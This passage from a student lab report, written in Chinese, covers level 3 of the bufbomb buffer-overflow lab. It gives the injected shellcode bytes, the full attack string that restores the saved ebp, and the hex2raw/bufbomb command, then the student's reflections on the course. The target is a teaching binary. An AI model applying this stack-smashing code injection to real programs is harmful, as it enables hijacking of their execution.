c. 把“mov $0x323b9deb,%eax”，“push $0x8048e81”，“ret”三条指令保存到一个汇编文件中，然后进行汇编和反汇编，查看对应的机器指令序列，结果如下：

[image: image55.png]b8 eb 9d 3b 32 mov
0x8048e81
c3 ret




所以攻击序列的代码部分应该是“b8 eb 9d 3b 32 68 81 8e 04 08 c3 ”

d. 还原对栈的破坏，就是把函数调用时压入栈的ebp的旧值保护好，所以可以在test函数里设置断点，查看ebp的值：

[image: image56.png]ebp

©x55683ae0




应该把这个值作为攻击字符串的倒数第二个四字节；

e. 攻击字符串的长度，最后四字节的值等应与上一阶段lv2相同，所以可以设计出一个攻击字符串“b8 eb 9d 3b 32 68 81 8e 04 08 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 3a 68 55 88 3a 68 55”；

f. 把上述字符串保存文件为lv3.txt;

g. 测试。在bufbomb所在文件夹执行cat lv3.txt |./hex2raw | ./bufbomb -u U201414803命令。

4. 实验结果：测试结果如下：

[image: image57.png]luserid: U201414803

Cookie: 0x323bodeb

Type string:Boon!: getbuf returned ©x323bodeb
VALID

NICE JOB!




说明正确对函数进行了第4阶段的攻击，改变了函数的返回值并还原了栈状态的破坏。
3.3实验小结
本次实验用到了栈的很多知识，包括栈的结构，函数的调用与返回过程中堆栈的变化，还有gcc和gdb的使用。通过这次，我对汇编指令编译成机器码后的存在形式有了更直观的了解；也体会到了程序在执行过程中总是有漏洞的，有可能会被别人进行恶意的攻击，以后在写程序的时候，应该尽量考虑周全，虽然不能做到完全安全，但要尽量减少程序存在的漏洞；这次试验还提高了我对函数调用过程的认识，对此过程中堆栈的变化有了更清晰的认知，提高了自己的知识，也对程序的执行过程有了更加全面的了解。
实验总结
虽然以前也做过一些实验，包括C语言，数据结构等，还有这学期的汇编，但这种类型的实验还是第一次做。

第一个实验可以说颠覆了自己对C语言的认识，平时见到的C语言程序就是标准的头文件，函数调用等，但这次实验用的材料，有很大的不同，见不到熟悉的头文件和灵活的操作了，有的是严格的运算符要求和众多的系统测试，这也不得不使自己转变思维，从数据本身的二进制表示与运算去思考，实现题目的要求，虽然一开始会有些不习惯，但是通过对数据不同的运算表示等，确实提高了自己对数据表示的认识水平。

第二三个实验在形式上更像是汇编的实验，因为要对反汇编文件进行分析，利用GDB对程序进行不断的调试，以达到实验的，也就是拆掉炸弹或者对程序完成特定的攻击。实验的过程还是比较麻烦的，有一部分原因是对GDB调试工具的不熟悉，也有本身对计算机系统的知识掌握的欠缺，有很多知识都是在实验中边学边用才掌握的，过程很辛苦，实验的结果也并不完美，第三个实验最后一个任务没有完成，但是也没有差太多，实验带来的收获也是很多的。

通过这几次实验，自己学到了很多，首先从表面上，这是第一次正式地使用Linux操作系统，对Linux的操作方式有了一些简单的了解；更重要的是对计算机系统，程序的运行、调用，数据在计算机中的表示等有了更深刻的认识，还有较高级语言与汇编指令之间的比较简单的对应关系，这些都是在之前了解很少的，总的来说，这三次实验自己受益匪浅。
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